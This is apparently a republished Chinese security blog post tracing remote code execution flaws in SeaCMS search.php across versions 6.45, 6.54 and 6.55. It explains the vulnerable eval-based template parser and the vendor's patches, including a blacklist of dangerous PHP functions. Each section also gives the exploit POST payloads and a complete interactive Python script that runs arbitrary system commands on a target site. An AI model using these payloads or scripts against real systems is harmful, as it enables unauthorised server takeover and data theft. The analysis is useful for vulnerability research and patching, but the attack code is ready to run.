前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >seacms修复历程总结

seacms修复历程总结

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 15:22:20
1.8K0
发布2018-02-06 15:22:20
举报

seacms修复历程总结

从6.45版本开始search.php就存在前台getshell的漏洞,到6.54官方对其进行修补,但修复方法是对用户输入的参数进行过滤并限制长度为20个字符,这种修复方法仍然可以通过反复替换模板达到组合绕过补丁。下面来细致分析一下海洋cms爆出的漏洞以及修复历程,并附上自己写的脚本,如有不对欢迎指正。

  • 海洋CMS V6.45

1.search.php

代码语言:js
复制
function echoSearchPage(){
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
....
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
....
if(intval($searchtype)==5)
{
....
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;}

search.php中用到了大量的str_place()函数来替换原始模板,但是有一个问题,$order由于没有对其进行过滤是可以进行变量覆盖的,先丢在一边我们看当$searchtype==5时调用了parseIf()函数跟进来看。

2.main.class.php

代码语言:js
复制
function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
  $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){  
        $strIf=$iar[1][$m];    
        $strIf=$this->parseStrIf($strIf);  
        $strThen=$iar[2][$m];  
        $strThen=$this->parseSubIf($strThen);
        if (strpos($strThen,$labelRule2)===false){  
            if (strpos($strThen,$labelRule3)>=0){  
                $elsearray=explode($labelRule3,$strThen);
                $strThen1=$elsearray[0];
                $strElse1=$elsearray[1];
 @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
            }else{
   @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
            if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}

发现危险函数@eval("if(".$strIf.") { $ifFlag=true;} else{ $ifFlag=false;}");在语句中,调用了preg_match_all函数将$content中的if语句块匹配出来存于$iar数组,然后将数组中的$strIf取出来拼接到eval语句然后执行eval函数,中间并没有检查非法数据并且我们之前讲到$order是可以覆盖的。

由于$order可控,当我们post:$order=}{end if}{if:1)phpinfo();//}{end if},那么$content中{searchpage:ordername}将被替换为}{end if}{if:1)phpinfo();//}{end if}。整个过程为:

Step 1: post数据

代码语言:js
复制
 searchtype=5&searchword=x&order=}{end if}{if:1)phpinfo();//}{end if}

Step 2:调用str_replace函数替换模板

代码语言:js
复制
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
            <a href="{searchpage:order-time-link}" {if:"}{end if}{if:1)phpinfo();//}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>

Step 3:调用parseIf函数解析模板中的if语句

Step 4:拼接并执行eval函数

eval("if(1)phpinfo();//{\$ifFlag=true;}else{\$ifFlag=false;}");

附getshell:

代码语言:js
复制
!/usr/bin/env python
import sys
import requests
def help():
  print "Usage : "
  print "        python %s [URL]" % (sys.argv[0])
  print "Example : "
  print "        python %s http://example.com/search.php" % (sys.argv[0])
  print "Type command 'q' for exit"
def poc():
  help()
  if not sys.argv[1].endswith("search.php"):
      print("[+] Please make sure url end with search.php")
      exit()
  while 1:
      code = raw_input("-> ")
      if code != "q":
          postdata = {
   "searchtype" : "5",
          "searchword" : "x",
          "order" : "}{end if}{if:1)print_r($_POST[1]($_POST[2]));//}{end if}",
          "1" : "system",
          "2" : code
          }
          r = requests.post(url=sys.argv[1],data=postdata)
          print r.text[:r.text.find("<!DOCTYPE html>")/3]
      else:
          exit()
if name == 'main':
    try:
        poc()
    except Exception as e:
        help()
  • 海洋CMS V6.54

官方在6.54上做了白名单的限制导致order变量失效,但是这次版本爆出的0day变量不再是依靠order变量,而是通过一系列的模板替换达到我们想要执行的命令。

1.search.php

代码语言:js
复制
function echoSearchPage(){
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";
$order = !empty($order)?$order:time;
if(intval($searchtype)==5)
{

可以看到声明为global变量的不止order一个可以进行变量覆盖的也不止一个但我们之前不选用这些变量是因为这些变量都进行了过滤和只选取前20个字符的限制。

代码语言:js
复制
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));
$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));
$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));
$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));
$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));
$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));
$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));
$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));

而这次爆出的poc也是构造的十分精致,通过多个变量拼接写入命令来getshell。我们来看拼接过程还是echoSearchPage函数中

代码语言:js
复制
if(intval($searchtype)==5)
{
    $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
    $jq = !empty($jq)?$jq:'全部';
    $area = !empty($area)?$area:'全部';
    $year = !empty($year)?$year:'全部';
    $yuyan = !empty($yuyan)?$yuyan:'全部';
    $letter = !empty($letter)?$letter:'全部';
    $state = !empty($state)?$state:'全部';
    $ver = !empty($ver)?$ver:'全部';
    $money = !empty($money)?$money:'全部';
  $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
    if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
    $content=$mainClassObj->parseSearchItemList($content,"type");
    $content=$mainClassObj->parseSearchItemList($content,"year");
    $content=$mainClassObj->parseSearchItemList($content,"area");
    $content=$mainClassObj->parseSearchItemList($content,"letter");
    $content=$mainClassObj->parseSearchItemList($content,"lang");
    $content=$mainClassObj->parseSearchItemList($content,"jq");
    $content=$mainClassObj->parseSearchItemList($content,"state");
    $content=$mainClassObj->parseSearchItemList($content,"ver");
    $content=$mainClassObj->parseSearchItemList($content,"money");
}.

先抛出大佬们的poc:

代码语言:js
复制
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

整个替换流程为:

代码语言:js
复制
Step 0:       <meta name="keywords" content="{seacms:searchword},海洋CMS" />
Step 1:       <meta name="keywords" content="{if{searchpage:year},海洋CMS" />
Step 2:     <meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
Step3:       <meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
Step4:       <meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
Step5:       <meta name="keywords" content="{if:eval(join{searchpage:jq}),海洋CMS" />
Step6:       <meta name="keywords" content="{if:eval(join($_P{searchpage:ver}),海洋CMS" />
Step7:       <meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

最后匹配if条件中的语句得到一句话:

eval(join($_POST[9]))

同样附getshell:

代码语言:js
复制
!/usr/bin/env python
import sys
import requests
def help():
  print "Usage : "
  print "        python %s [URL]" % (sys.argv[0])
  print "Example : "
  print "        python %s http://example.com/search.php" % (sys.argv[0])
  print "Type command 'q' for exit"
def poc():
  help()
  if not sys.argv[1].endswith("search.php"):
      print("[+] Please make sure url end with search.php")
      exit()
  while 1:
      code = raw_input("-> ")
      paylod = 'system("%s");' % code
      if code != "q":
            postdata = {
            "searchtype":"5",
            "searchword":"{if{searchpage:year}",
            "year":":e{searchpage:area}}",
            "area":"v{searchpage:letter}",
            "letter":"al{searchpage:lang}",
            "yuyan":"(join{searchpage:jq}",
            "jq":"($_P{searchpage:ver}",
            "ver":"OST[9]))",
            "9[]":paylod,
            }
          r = requests.post(url=sys.argv[1],data=postdata)
          print r.text[:r.text.find("<!DOCTYPE html>")/3]
      else:
          exit()
if name == 'main':
    try:
        poc()
    except Exception as e:
        help()
  • 海洋CMS V6.55

在6.55中官方终于意识到漏洞出现parseIf函数,因而对在该函数中做了黑名单的过滤:

代码语言:js
复制
 function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
            $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
            $labelRule2="{elseif";
            $labelRule3="{else}";
            preg_match_all($labelRule,$content,$iar);
 foreach($iar as $v){
        $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

但是这次的poc利用的是默认不检查SERVER变量的性质来达到写入命令。

poc:

代码语言:js
复制
searchtype=5&searchword={if{searchpage:year}&year=as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*

还是利用目标的多重替换,详细步骤见海洋CMS 6.54。导致最后写入assert($_SERVER[QUERY_STRING]),因为$SERVER变量默认是不检查数据的安全性的,因而当我们把命令加在url后,$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)。$SERVER变量可以见php用户手册:

附上getshell:

代码语言:js
复制
#!/usr/bin/env python
# coding=utf-8
import sys
import requests
def help():
    print "Usage : "
    print "        python %s [URL]" % (sys.argv[0])
    print "Example : "
    print "        python %s http://example.com/search.php" % (sys.argv[0])
    print "Type command 'q' for exit"
def poc():
    help()
    if not sys.argv[1].endswith("search.php"):
        print("[+] Please make sure url end with search.php")
        exit()
    while 1:
        code = raw_input("-> ")
        purl = sys.argv[1] + "?system(%s)" % code
        if code != "q":
            postdata = {
            "searchtype":"5",
            "searchword":"{if{searchpage:year}",
            "year":":as{searchpage:area}}",
            "area":"s{searchpage:letter}",
            "letter":"ert{searchpage:lang}",
            "yuyan":"($_SE{searchpage:jq}",
            "jq":"RVER{searchpage:ver}",
            "ver":"[QUERY_STRING]));/*"
            }
            r = requests.post(url=purl,data=postdata)
            print r.text[:r.text.find("<!DOCTYPE html>")]
        else:
            exit()
if __name__ == '__main__':
    try:
        poc()
    except Exception as e:
        help()

总结:

从这次海洋cms爆出的漏洞可以看出代码层的逻辑漏洞仍然是web安全人员的病痛,这次构造的poc也是十分精致反复替换模板到最终危险命令的拼接,而从最初官方打上的补丁看来只是暂时解决了order这个危险点而忽视parseIf这个危险函数,官方给的补丁也是够简单粗暴的最新版的6.56感觉不久也会有poc。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档